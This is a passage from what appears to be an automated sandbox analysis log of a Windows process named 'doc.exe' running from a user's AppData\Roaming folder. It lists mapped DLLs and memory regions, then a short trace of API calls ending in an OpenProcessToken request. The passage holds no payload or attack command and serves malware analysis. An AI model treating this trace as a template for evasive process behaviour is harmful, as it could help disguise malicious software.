"c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 2974 start_va = 0x490000 end_va = 0x491fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2981 start_va = 0x62d20000 end_va = 0x63537fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 2982 start_va = 0x63c50000 end_va = 0x63d54fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 2987 start_va = 0x625a0000 end_va = 0x62d13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 2993 start_va = 0x4a0000 end_va = 0x4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 3000 start_va = 0x65c40000 end_va = 0x65c52fff monitored = 1 entry_point = 0x65c4d900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 3001 start_va = 0x4ae0000 end_va = 0x4db1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 3002 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3003 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 3004 start_va = 0x740a0000 end_va = 0x740aafff monitored = 0 entry_point = 0x740a1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 3010 start_va = 0x600000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 3019 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 3020 start_va = 0x73bc0000 end_va = 0x73bd6fff monitored = 0 entry_point = 0x73bc3573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3028 start_va = 0x500000 end_va = 0x53bfff monitored = 0 entry_point = 0x50128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3029 start_va = 0x500000 end_va = 0x53bfff monitored = 0 entry_point = 0x50128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3030 start_va = 0x500000 end_va = 0x53bfff monitored = 0 entry_point = 0x50128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3031 start_va = 0x500000 end_va = 0x53bfff monitored = 0 entry_point = 0x50128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3032 start_va = 0x500000 end_va = 0x53bfff monitored = 0 entry_point = 0x50128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3034 start_va = 0x73b80000 end_va = 0x73bbafff monitored = 0 entry_point = 0x73b8128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3042 start_va = 0xb00000 end_va = 0xb81fff monitored = 0 entry_point = 0xb019a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3043 start_va = 0xb00000 end_va = 0xb81fff monitored = 0 entry_point = 0xb019a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3044 start_va = 0x63bc0000 end_va = 0x63c43fff monitored = 0 entry_point = 0x63bc19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3045 start_va = 0xa50000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3046 start_va = 0xac0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 3048 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 3051 start_va = 0x639d0000 end_va = 0x63bb1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\a891970b44db9e340c3ef3efa95b793c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\a891970b44db9e340c3ef3efa95b793c\\microsoft.visualbasic.ni.dll") Region: id = 3055 start_va = 0xd30000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 3056 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 3057 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3058 start_va = 0xb10000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 3059 start_va = 0x1190000 end_va = 0x128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001190000" filename = "" Region: id = 3060 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3172 start_va = 0x500000 end_va = 0x50dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 3242 start_va = 0xdc0000 end_va = 0xe21fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 3243 start_va = 0x72850000 end_va = 0x729dffff monitored = 0 entry_point = 0x728ed026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 3244 start_va = 0x1010000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 3245 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 3246 start_va = 0x1030000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 3247 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 3248 start_va = 0x4f70000 end_va = 0x506ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f70000" filename = "" Region: id = 3249 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 3250 start_va = 0x1290000 end_va = 0x130ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001290000" filename = "" Region: id = 3251 start_va = 0x72750000 end_va = 0x7284afff monitored = 0 entry_point = 0x727617e1 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 3252 start_va = 0xa50000 end_va = 0xa9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3253 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 3254 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3257 start_va = 0xb50000 end_va = 0xb9afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 3258 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3259 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3260 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3261 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3262 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3263 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 3264 start_va = 0x630000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3265 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 3266 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 3267 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3268 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 3269 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3270 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3271 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 3272 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 3273 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 3274 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 3275 start_va = 0xd10000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 3276 start_va = 0xd20000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 3277 start_va = 0xd70000 end_va = 0xd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 3278 start_va = 0x1010000 end_va = 0x101ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 3279 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3280 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3281 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 3282 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 3283 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 3284 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3285 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 3286 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 3287 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 3288 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 3289 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 3290 start_va = 0xd10000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 3291 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 3292 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3293 start_va = 0x600000 end_va = 0x61efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 3305 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3312 start_va = 0x73eb0000 end_va = 0x73ed0fff monitored = 0 entry_point = 0x73eb145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 3313 start_va = 0x77130000 end_va = 0x77174fff monitored = 0 entry_point = 0x771311e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 3314 start_va = 0x5070000 end_va = 0x516ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005070000" filename = "" Region: id = 3315 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3344 start_va = 0x739d0000 end_va = 0x73ac4fff monitored = 0 entry_point = 0x739e0d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 3346 start_va = 0x540000 end_va = 0x541fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3347 start_va = 0x73ee0000 end_va = 0x7407dfff monitored = 0 entry_point = 0x73f0e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 3348 start_va = 0x620000 end_va = 0x620fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3349 start_va = 0x670000 end_va = 0x671fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 3350 start_va = 0x73b00000 end_va = 0x73b4bfff monitored = 0 entry_point = 0x73b02c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3351 start_va = 0x620000 end_va = 0x620fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 3352 start_va = 0x76530000 end_va = 0x765b2fff monitored = 0 entry_point = 0x765323d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3353 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 3354 start_va = 0x740f0000 end_va = 0x74b6ffff monitored = 0 entry_point = 0x740f6b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 3355 start_va = 0x76ca0000 end_va = 0x76ca4fff monitored = 0 entry_point = 0x76ca1438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 3356 start_va = 0x740b0000 end_va = 0x740ebfff monitored = 0 entry_point = 0x740b3089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 3358 start_va = 0x76e50000 end_va = 0x7704afff monitored = 0 entry_point = 0x76e522d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 3359 start_va = 0x5170000 end_va = 0x526ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005170000" filename = "" Region: id = 3360 start_va = 0x8a0000 end_va = 0x8a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 3361 start_va = 0xab0000 end_va = 0xab1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ab0000" filename = "" Region: id = 3362 start_va = 0x75470000 end_va = 0x755a5fff monitored = 0 entry_point = 0x75471b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 3363 start_va = 0x765c0000 end_va = 0x766b4fff monitored = 0 entry_point = 0x765c1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 3364 start_va = 0x768b0000 end_va = 0x769d0fff monitored = 0 entry_point = 0x768b158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3365 start_va = 0x766c0000 end_va = 0x766cbfff monitored = 0 entry_point = 0x766c238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3367 start_va = 0xb00000 end_va = 0xb03fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 3368 start_va = 0xbe0000 end_va = 0xbf6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000007.db") Region: id = 3369 start_va = 0x76cb0000 end_va = 0x76e4cfff monitored = 0 entry_point = 0x76cb17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 3370 start_va = 0x76240000 end_va = 0x76266fff monitored = 0 entry_point = 0x762458b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 3371 start_va = 0x773c0000 end_va = 0x773d1fff monitored = 0 entry_point = 0x773c1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 3372 start_va = 0xc00000 end_va = 0xc0cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 3373 start_va = 0xd20000 end_va = 0xd20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 3374 start_va = 0xb00000 end_va = 0xb03fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3375 start_va = 0x1310000 end_va = 0x133ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000e.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000e.db") Region: id = 3376 start_va = 0xd70000 end_va = 0xd73fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 3377 start_va = 0x4f00000 end_va = 0x4f65fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 3378 start_va = 0x1010000 end_va = 0x101dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 3379 start_va = 0x1020000 end_va = 0x1020fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001020000" filename = "" Region: id = 3397 start_va = 0x1180000 end_va = 0x118ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001180000" filename = "" Region: id = 3398 start_va = 0x1340000 end_va = 0x134ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001340000" filename = "" Region: id = 3409 start_va = 0x1350000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 3532 start_va = 0x5430000 end_va = 0x546ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005430000" filename = "" Region: id = 3533 start_va = 0x54d0000 end_va = 0x55cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000054d0000" filename = "" Region: id = 3534 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 3550 start_va = 0x73cf0000 end_va = 0x73cfdfff monitored = 0 entry_point = 0x73cf1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3630 start_va = 0x55d0000 end_va = 0x560ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055d0000" filename = "" Region: id = 3631 start_va = 0x5710000 end_va = 0x580ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005710000" filename = "" Region: id = 3632 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Thread: id = 210 os_tid = 0xcc8 [0201.472] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0214.716] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ce9f0 | out: phkResult=0x1ce9f0*=0x0) returned 0x2 [0214.717] RegCloseKey (hKey=0x80000002) returned 0x0 [0214.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", nBufferLength=0x105, lpBuffer=0x1cec74, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll", lpFilePart=0x0) returned 0x77 [0215.095] IsAppThemed () returned 0x1 [0215.106] CoTaskMemAlloc (cb=0xf0) returned 0x388938 [0215.106] CreateActCtxA (pActCtx=0x1cf198) returned 0x38766c [0215.247] CoTaskMemFree (pv=0x388938) [0215.346] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc20f [0215.346] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc21c [0217.104] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", nBufferLength=0x105, lpBuffer=0x1ceb0c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe.config", lpFilePart=0x0) returned 0x31 [0217.532] GetCurrentProcess () returned 0xffffffff [0217.532] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x1cee44 | out: TokenHandle=0x1cee44*=0x1f0) returned 1 [0217.541] GetFullPathNameW (in: 